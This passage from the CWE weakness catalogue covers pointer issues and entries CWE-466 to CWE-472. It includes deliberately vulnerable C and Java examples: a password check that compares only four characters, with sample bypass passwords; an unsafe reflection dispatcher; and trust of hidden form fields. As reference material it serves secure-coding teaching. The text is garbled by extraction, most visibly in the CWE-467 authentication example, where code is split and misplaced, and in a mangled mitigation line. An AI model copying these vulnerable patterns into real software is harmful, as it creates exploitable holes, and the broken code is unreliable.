<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>STR03-C</td>
<td>Do not inadvertently truncate a null-terminated byte string</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR06-C</td>
<td>Do not assume that strtok() leaves the parse string unchanged</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR03-CPP</td>
<td>Do not inadvertently truncate a null-terminated character array</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR06-CPP</td>
<td>Do not assume that strtok() leaves the parse string unchanged</td>
</tr>
</tbody>
</table>

CWE-465: Pointer Issues

Category ID: 465 (Category)

Description

Summary

Weaknesses in this category are related to improper handling of pointers.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID: 466 (Weakness Base) Status: Draft

Description

Summary
A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences

Confidentiality
Integrity
Read memory
Modify memory

Relationships

Nature Type ID Name
ChildOf 20 Improper Input Validation
ChildOf 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ChildOf 465 Pointer Issues
ChildOf 738 CERT C Secure Coding Section 04 - Integers (INT)
ChildOf 872 CERT C++ Secure Coding Section 04 - Integers (INT)
ChildOf 998 SFP Secondary Cluster: Glitch in Computation

Taxonomy Mappings

Mapped Taxonomy Name Node ID Mapped Node Name
7 Pernicious Kingdoms Illegal Pointer Value
CERT C Secure Coding INT11-C Take care when converting from pointer to integer or integer to pointer
CERT C++ Secure Coding INT11-CPP Take care when converting from pointer to integer or integer to pointer
Software Fault Patterns SFP1 Glitch in computation

White Box Definitions
A weakness where code path has:
1. end statement that returns an address associated with a buffer where address is outside the buffer
2. start statement that computes a position into the buffer

References

Maintenance Notes
This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.
CWE-467: Use of sizeof() on a Pointer Type

Weakness ID: 467 (Weakness Variant)  Status: Draft

Description

Summary
The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Extended Description
The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences

Integrity
Confidentiality
Modify memory
Read memory
This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.

Likelihood of Exploit
High

Demonstrative Examples

Example 1:
Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.
In this example, sizeof(foo) returns the size of the pointer.

C/C++ Example:  
```c
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

C/C++ Example:  
```c
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:
This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

```c
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strcmp(username, inUser) == 0) {
        printf("Username and password match\n");
    }
    return 0;
}
```
printf("Auth failure of username using sizeof\n");
    return(AUTH_FAIL);
}
/* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
if (! strncmp(pass, inPass, sizeof(pass))) {
    printf("Auth success of password using sizeof\n");
    return(AUTH_SUCCESS);
} else {
    printf("Auth fail of password using sizeof\n");
    return(AUTH_FAIL);
}
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    } else {
        DoAuthenticatedTask(argv[1]);
    }
}

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

<table>
<thead>
<tr>
<th>Attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>pass5</td>
</tr>
<tr>
<td>passABCDEFGH</td>
</tr>
<tr>
<td>passWORD</td>
</tr>
</tbody>
</table>

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

**Potential Mitigations**

**Implementation**

Use expressions such as "sizeof("pointer")" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

**Weakness Ordinalities**

**Primary (where the weakness exists independent of other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>1000</td>
<td>269</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
<td>784</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000</td>
<td>1063</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
<td>1134</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
<td>1136</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
<td>868</td>
<td>1317</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation</td>
<td>888</td>
<td>1386</td>
</tr>
</tbody>
</table>
CWE-468: Incorrect Pointer Scaling

**Description**

**Summary**

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Modes of Introduction**

Programmers may try to index from a pointer by adding a number of bytes. This is incorrect because C and C++ implicitly scale the operand by the size of the data type.

**Common Consequences**

**Confidentiality**

**Integrity**

**Read memory**

**Modify memory**

Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

This example attempts to calculate the position of the second byte of a pointer.

**C Example:**

```c
int *p = x;
char * second_char = (char *)(p + 1);
```
In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory—whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

**Potential Mitigations**

**Architecture and Design**
- Use a platform with high-level memory abstractions.

**Implementation**
- Always use array indexing instead of direct pointer manipulation.

**Architecture and Design**
- Use technologies for preventing buffer overflows.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Unintentional pointer scaling</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>EXP08-C</td>
<td>Ensure pointer arithmetic is used correctly</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

### White Box Definitions

A weakness where code path has a statement that performs a pointer arithmetic operation on a pointer to datatype1 and casts the result of the operation to a pointer type to datatype2 where datatype2 has different length than the datatype1 and the datatype1 has different length than a character type.

### References


### CWE-469: Use of Pointer Subtraction to Determine Size

**Weakness ID:** 469 *(Weakness Base)*

**Description**

**Summary**

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**
CWE Version 2.11
CWE-469: Use of Pointer Subtraction to Determine Size

Access Control
Integrity
Confidentiality
Availability

Execute unauthorized code or commands
Gain privileges / assume identity
There is the potential for arbitrary code execution with privileges of the vulnerable program.

Likelihood of Exploit
Medium

Demonstrative Examples
The following example contains the method size that is used to determine the number of nodes in
a linked list. The method is passed a pointer to the head of the linked list.

C/C++ Example:

```c
struct node {
  int data;
  struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
  struct node* current = head;
  struct node* tail;
  while (current != NULL) {
    tail = current;
    current = current->next;
  }
  return tail - head;
}
// other methods for manipulating the list...
```

However, the method creates a pointer that points to the end of the list and uses pointer
subtraction to determine the number of nodes in the list by subtracting the tail pointer from
the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using
pointer subtraction in this way could return incorrect results and allow other unintended behavior.
In this example a counter should be used to determine the number of nodes in the list, as shown in
the following code.

C/C++ Example:

```c
... int size(struct node* head) {
  struct node* current = head;
  int count = 0;
  while (current != NULL) {
    count++;
    current = current->next;
  }
  return count;
}
```

Potential Mitigations

Implementation
Save an index variable. This is the recommended solution. Rather than subtract pointers from
one another, use an index variable of the same size as the pointers in question. Use this variable
to “walk” from one pointer to the other and calculate the difference. Always sanity check this
number.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1000</td>
</tr>
</tbody>
</table>

790
CWE-470: Use of Externally-Controlled Input to Select Classes or Code (‘Unsafe Reflection’)

Description

Summary
The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description
If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

Alternate Terms
Reflection Injection

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Java
• PHP
• Interpreted languages (Sometimes)

Common Consequences
Integrity
Confidentiality
Availability
Other
Execute unauthorized code or commands
Alter execution logic
The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

Availability
Other
DoS: crash / exit / restart
Other
The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.

Confidentiality
Read application data
By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.

Demonstrative Examples
A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Java Example:
```java
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
    ao = new AddCommand();
} else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
} else {
    throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Java Example:
```java
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher’s access control code. If they do not modify the access control code, then some Worker classes will not have any access control. One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Java Example:
```java
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
```
Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-2331</td>
<td>Database system allows attackers to bypass sandbox restrictions by using the Reflection API.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Architecture and Design**
- Refactor your code to avoid using reflection.

**Architecture and Design**
- Do not use user-controlled inputs to select and load classes or code.

**Implementation**
- Apply strict input validation by using whitelists or indirect selection to ensure that the user is only selecting allowable classes or code.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>SEC06-J</td>
<td>Unsafe Reflection</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td></td>
<td>Do not use reflection to increase accessibility of classes, methods, or fields</td>
</tr>
</tbody>
</table>

### White Box Definitions

A weakness where code path has:

1. start statement that accepts input
2. end statement that performs reflective operation and where the input is part of the target name of the reflective operation

---

**CWE-471: Modification of Assumed-Immutable Data (MAID)**

**Weakness ID:** 471 *(Weakness Base)*

**Description**

**Summary**

The software does not properly protect an assumed-immutable element from being modified by an attacker.

**Extended Description**
This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Integrity**

**Modify application data**

Common data types that are attacked are environment variables, web application parameters, and HTTP headers.

**Integrity**

**Unexpected state**

**Demonstrative Examples**

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

**Java Example:**

```java
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1757</td>
<td>Relies on $PHP_SELF variable for authentication.</td>
</tr>
<tr>
<td>CVE-2005-1905</td>
<td>Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Operation**

**Implementation**

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699 18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000 1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>888 1394</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
<td>1000 518</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>1000 729</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>1000 731</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>699 795</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>473</td>
<td>PHP External Variable Modification</td>
<td>699 798</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>1000 949</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>607</td>
<td>Public Static Final Field References Mutable Object</td>
<td>699 955</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>621</td>
<td>Variable Extraction Error</td>
<td>1000 971</td>
</tr>
</tbody>
</table>

**Relationship Notes**
MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical Notes
There are many examples where the MUTABILITY property is a major factor in a vulnerability.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Modification of Assumed-Immutable Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>384</td>
<td>Application API Message Manipulation via Man-in-the-Middle</td>
<td></td>
</tr>
<tr>
<td>385</td>
<td>Transaction or Event Tampering via Application API Manipulation</td>
<td></td>
</tr>
<tr>
<td>386</td>
<td>Application API Navigation Remapping</td>
<td></td>
</tr>
<tr>
<td>387</td>
<td>Navigation Remapping To Propagate Malicious Content</td>
<td></td>
</tr>
<tr>
<td>388</td>
<td>Application API Button Hijacking</td>
<td></td>
</tr>
</tbody>
</table>

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472 (Weakness Base) Status: Draft

Description

Summary
The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description
If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Alternate Terms
Assumed-Immutable Parameter Tampering

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences
Integrity
Modify application data
Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

Demonstrative Examples
Example 1:
Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Java Example:

```java
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:
Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

HTML Example:

```html
<input type="hidden"

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0101</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-0102</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-0253</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-0254</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-0758</td>
<td>Allows admin access by modifying value of form field.</td>
</tr>
<tr>
<td>CVE-2000-0926</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-1234</td>
<td>Send email to arbitrary users by modifying email parameter.</td>
</tr>
<tr>
<td>CVE-2002-0108</td>
<td>Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.</td>
</tr>
<tr>
<td>CVE-2002-1880</td>
<td>Read messages by modifying message ID parameter.</td>
</tr>
<tr>
<td>CVE-2005-1652</td>
<td>Authentication bypass by setting a parameter.</td>
</tr>
<tr>
<td>CVE-2005-1682</td>
<td>Modification of message number parameter allows attackers to read other people's messages.</td>
</tr>
<tr>
<td>CVE-2005-1784</td>
<td>Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.</td>
</tr>
<tr>
<td>CVE-2005-2314</td>
<td>Logic error leads to password disclosure.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application’s current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>371</td>
<td>State Issues</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>384</td>
<td>Session Fixation</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes
This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

Theoretical Notes
This is a technology-specific MAID problem.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A4</td>
<td>CWE More Specific</td>
<td>Insecure Direct Object Reference</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
